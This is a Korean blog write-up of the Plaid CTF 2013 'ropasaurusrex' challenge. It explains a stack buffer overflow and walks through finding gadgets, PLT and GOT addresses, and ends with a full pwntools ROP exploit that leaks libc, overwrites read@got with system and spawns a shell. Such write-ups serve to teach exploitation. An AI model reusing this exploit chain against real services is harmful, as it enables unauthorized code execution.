write-ups/CTF

plaid ctf 2013 ropasaurusrex write up

2017. 12. 14. 20:26

09월인가 10월인가 가을 즈음해서 이 문제를 풀었었는데 정확한 원리를 공부하지 않고 풀어서 어제부터 다시 풀어보았다. 기숙사에 노트북 가져가서 풀었는데 급하게 푸느라 다 까먹.;; rop공룡을 풀면서 느낀 점은 역시 ROP를 공부하기에 정말 적합한 문제같다 라는 것. 가젯도 충분히 주어졌고, 취약한 부분도 그대로 보이고..


Analyse 


main 함수는 이렇게 간단하게 구성되어 있다. readBuffer()는 필자가 임의대로 설정한 이름이다. readBuffer() 함수의 내부 구조를 보자. 



이런 구조이다. buf 의 크기는 0x88 bytes, 즉 136 bytes인데 곧이어 나오는 read() 함수에서는 256 bytes 만큼 값을 받고 있다. 여기에서 오버플로우 취약점이 일어난다. LoB (Lord of BoF) 같았으면 그냥 RET에다 고냥 쉘코드 주소 꼴아박으면 됐었는데 



NX가 걸려있어서 하지 못한다. 하지만, Canary가 걸려있지 않으므로 ROP로 쇼쇼쇽=3 하면 될 것 같다. 


시나리오 

 나의 시나리오는 이렇다. 

1. read@got 의 값을 Leak 한다. 
2. .bss 영역에 read()함수로 /bin/sh이라는 값을 받는다. 
3. read@got 를 system@got로 쇼쇽- 바꿔버린다. 
4. system("/bin/sh"); 를 실행시키고 쉘을 따버린다. 

read@got 값을 Leak하는 것은 화면에 출력하는 작업이 필요하기 때문에 write() 함수가 필요할 것이다. write(stdout, read@got, 4); 이런 식으로 read@got 를 leak하면 된다. 


Exploit 


Gadget 


먼저 가젯을 보자. ROP에서는 가젯이 생명이니까 :) 

친구 c2w2m2 가 ROPgadget 이라는 도구를 알려주었는데, 나는 고냥 내 방식대로 진행하겠다. 나는 objdump를 이용할 것이다. 

$ objdump -S ./ropasaurusrex | grep -B3 ret

이렇게 하면 pop-pop-pop-ret 가젯을 찾을 수 있다. PPR 가젯이 아니라 PPPR 가젯을 사용하는 이유는 write()와 read() 모두 인자 3개를 요구하기 때문이다. 

만약에 system() 같이 인자를 1개 사용하는 함수를 사용한다면 PR 가젯을 사용하면 될 것이다. 


PPPR 가젯을 찾았다. 가젯 주소 : 0x80484b6



함수 호출을 위한 PLT 주소


함수 호출을 위해서 read() 와 write()의 PLT 주소를 찾아야 한다. 이것을 위해서 꽤나 고생했다. 역시 머리가 나쁘면 몸이 고생한다. 

나는 gdb를 실행시키고 main + 0 에 Break Point를 건 다음, 다시 실행시키고 p write, p read를 하면 될 줄 알았다. 

일단 PLT 주소를 알아내기 전의 삽질을 쓰겠다. 

삽질 


심볼 테이블이 로드되지 않아서 그렇다. 하지만, 여기서 ' info file ' 이라는 명령어를 쳐보자. 



main 함수가 있는 .text 영역의 시작주소에 Break Point를 걸면 된다. 


pwndbg> b * 0x08048340

Breakpoint 1 at 0x8048340

pwndbg> r

Starting program: /home/ch4n3/ctf/plaid_ctf_2013/ropasaurusrex 


잘 걸렸다. 그럼 이제 read, write의 plt를 구해보자. 


띠용 뭐지..

이 값은 GOT 포인터가 가르키고 있는 값이다. 나중에 Leak할 때 꼭 필요하다. 


어째뜬 여기에서는 exploit code 에 필요한 정보가 없다. 



그래서 결국 알아내는 것을 고민하다가 readelf 명령이 떠올랐다. 

readelf -S [binary] 명령을 수행하면 각 영역의 주소를 보여준다. 여기에 있는 .plt 영역을 gdb에서 x/100i 등으로 PLT 테이블을 확인하면 되지 않을까 라는 생각에 해보게되었다. 



이렇게 알아낸 PLT 를 기반으로 이제 GDB에서 테이블을 뒤지기만 하면 된다. 



찾았다! 여기에서 PLT 와 GOT를 모두 획득할 수 있다. 


write@plt = 0x804830c

write@got = 0x8049614

read@plt = 0x804832c

read@got = 0x804961c


그리고 bss 영역은 0x08049628이다. 이제 모두 구했으니, 페이로드를 작성하자. 


#!/usr/bin/python
# coding: utf-8

from pwn import *
from time import sleep

p = process("./ropasaurusrex")
# context.log_level = 'debug'

"""
   0x80482ec:	push   DWORD PTR ds:0x8049608
   0x80482f2:	jmp    DWORD PTR ds:0x804960c
   0x80482f8:	add    BYTE PTR [eax],al
   0x80482fa:	add    BYTE PTR [eax],al
   0x80482fc <__gmon_start__@plt>:	jmp    DWORD PTR ds:0x8049610
   0x8048302 <__gmon_start__@plt+6>:	push   0x0
   0x8048307 <__gmon_start__@plt+11>:	jmp    0x80482ec
   0x804830c <write@plt>:	jmp    DWORD PTR ds:0x8049614
   0x8048312 <write@plt+6>:	push   0x8
   0x8048317 <write@plt+11>:	jmp    0x80482ec
   0x804831c <__libc_start_main@plt>:	jmp    DWORD PTR ds:0x8049618
   0x8048322 <__libc_start_main@plt+6>:	push   0x10
   0x8048327 <__libc_start_main@plt+11>:	jmp    0x80482ec
   0x804832c <read@plt>:	jmp    DWORD PTR ds:0x804961c
   0x8048332 <read@plt+6>:	push   0x18
   0x8048337 <read@plt+11>:	jmp    0x80482ec
"""

"""
== < ROP Gadgets > ==
0x080482ca : ret
0x080484b6 : pop esi ; pop edi ; pop ebp ; ret
0x08048466 : call 0x80484c0
0x080482ea : leave ; ret
"""

write_plt = 0x804830c
write_got = 0x8049614
read_plt = 0x804832c
read_got = 0x804961c

system_offset = 634192
# read - system = system_offset

pppr = 0x080484b6

bss = 0x08049628

binsh = "/bin/sh\x00"

payload = "A"*140
payload += p32(write_plt)
payload += p32(pppr)
payload += p32(0x1)
payload += p32(read_got)
payload += p32(0x4)

# read (int fd, void *buf, size_t nbytes)
payload += p32(read_plt)
payload += p32(pppr)
payload += p32(0x00)
payload += p32(bss)
payload += p32(len(binsh))

payload += p32(read_plt)
payload += p32(pppr)
payload += p32(0x00)
payload += p32(read_got)
payload += p32(4)

payload += p32(read_plt)
payload += "DUMM"
payload += p32(bss)

p.send( payload )

read_got_value = u32(p.recv(4))
system_got_value = read_got_value - system_offset

print "[*] read got : {0}".format(hex(read_got_value))
print "[*] system got : {0}".format(hex(system_got_value))

p.send(binsh)

# Overwrite read@plt
p.send(p32(system_got_value))
p.interactive()

그리고 실행하면?

'

쉘을 획득했다.



'write-ups > CTF' 카테고리의 다른 글

mma ctf 2nd 2016 greeting write up  (0) 2017.12.19
codegate 2017 babypwn write up  (1) 2017.12.18
codegate 2017 EasyMISC write up  (0) 2017.12.13
DIMICTF xml_parser write up  (0) 2017.12.10
화이트햇 콘테스트 familiar write-up  (0) 2017.11.07